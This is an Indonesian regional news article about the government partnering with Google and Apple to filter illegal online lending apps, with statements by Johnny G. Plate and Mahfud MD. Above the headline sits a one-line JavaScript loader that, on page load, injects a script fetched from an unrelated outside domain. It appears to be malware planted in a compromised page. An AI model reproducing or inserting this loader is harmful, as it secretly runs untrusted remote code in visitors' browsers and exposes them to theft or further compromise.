(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Menkominfo Gandeng Google dan Apple untuk Saring Pinjol Ilegal Beroperasi


KANALKALIMANTAN.COM – Menteri Komunikasi dan Informatika (Menkominfo) Johnny G. Plate mengatakan pihaknya telah berkomunikasi dengan Google dan Apple untuk memperketat peredaran perusahaan pinjaman online (pinjol) terutama yang ilegal.

Dengan kerja sama itu diharapkan nantinya aplikasi pinjol yang tersedia di Google Playstore dan App Store sudah terverifikasi.

“Agar pendaftaran penyelenggara sistem elektronik di Google Playstore dan App Store harus disertai dengan bukti lisensi yang diterbitkan oleh OJK atas fintech yang bersangkutan,” kata Johnny dalam konferensi pers yang disiarkan melalui YouTube Kemenko Polhukam, Selasa (19/10/2021).

Johnny mengharapkan kerja sama antara dengan platform digital itu bisa mendukung industri keuangan nasional dapat tumbuh dengan baik.

 

Baca juga : Lepas Para Atlet Papernas XVI Papua, Bupati HSU: Prestasi Mengikuti Usaha Kita!

Kerja sama itu juga diharapkan bisa memberantas industri keuangan yang ilegal termasuk pinjol-pinjol gelap.

Sementara itu, Pemerintah meminta perusahaan pinjaman online (pinjol) ilegal untuk berhenti beroperasi. Secara perdata, pinjol sudah dinyatakan tidak sah.

Sebelumnya Menteri Koordinator bidang Politik, Hukum dan Keamanan (Menko Polhukam) Mahfud MD mengatakan pinjol ilegal itu tidak memenuhi syarat objektif maupun syarat subjektif seperti yang diatut dalam hukum perdata.

Menurutnya, perusahaan pinjol tidak memenuhi dua syarat tersebut.

“Jadi dua syarat objektif tidak terpenuhi, dua syarat subjektifnya tidak terpenuhi,” kata Mahfud dalam konferensi pers yang ditayangkan melalui YouTube Kemenko Polhukam, Selasa (19/10/2021).

 

Baca juga : Minta Masyarakat Korban Pinjol Ilegal Jangan Bayar Utang, Mahfud MD: Polisi Akan Lindungi

Sedangkan kalau melihat dari sudut hukum pidana, pihak kepolisian akan ikut turun tangan apabila ada tindakan tidak menyenangkan yang dilakukan oleh pihak pinjol kepada pemilik pinjaman.

“Misalnya ancaman kekerasan, ancaman menyebar foto-foto tidak senonoh dari orang yang punya utang kalau tidak bayar. Itu terus sekarang bandar-bandarnya,” ujarnya.

Kalau misalkan terbukti ada tindakan pemerasan, pihak kepolisian bisa menggunakan Pasal 368 KUHPidana. Selain itu ada juga Pasal 335 KUHPidana tentang perbuatan tidak menyenangkan yang menurut Mahfud bisa digunakan.

Selain itu, ada Undang-Undang Perlindungan Konsumen dan Undang-undang ITE Pasal 29 dan Pasal 32 Ayat 2 dan Ayat 3.

 

Baca juga : Kamis Lusa Diresmikan Jokowi, Jembatan Alalak dari Sisi Batola Ditutup

“Ini kami umumkan kepada masyarakat bahwa dari aspek hukum perdata kita bersikap pinjaman online itu ya ilegal, namanya juga pinjol ilegal,” tuturnya.

“Oleh sebab itu, imbauan atau ini statement resmi dari pemerintah yang dihadiri OJK dan BI. Hentikan, hentikan penyelenggaraan pinjol ilegal ini.” (Suara.com)

Editor : Suara


Desy Arfianty

Recent Posts

Ragam Seni dan Produk UMKM Balangan di “Racah Mampulang Bakarasmin 2024”

KANALKALIMANTAN.COM, PARINGIN - Desa Balida, Kecamatan Paringin untuk kali ketiga mengelar gebyar desa. Acara bertajuk… Read More

12 menit ago

Ada Mandi Busa di Palm Mini Waterpark Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Destinasi wahana mandi busa pertama hadir di Kota Banjarbaru menjadi pilihan warga… Read More

1 jam ago

KAMMI Kalsel: Jaga Keharmonisan dan Toleransi

KANALKALIMANTAN.COM, BANJARMASIN – Momentum Natal dan Tahun Baru 2025, Kesatuan Aksi Mahasiswa Muslim Indonesia (KAMMI)… Read More

4 jam ago

Srikandi Sahabat Anak Berbagi Kebahagiaan di TPA Al Muhajirin

KANALKALIMANTAN.COM, MARTAPURA - Srikandi PLN Unit Induk Penyaluran dan Pusat Pengatur Beban Kalimantan bersama dengan… Read More

4 jam ago

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

1 hari ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

1 hari ago

This website uses cookies.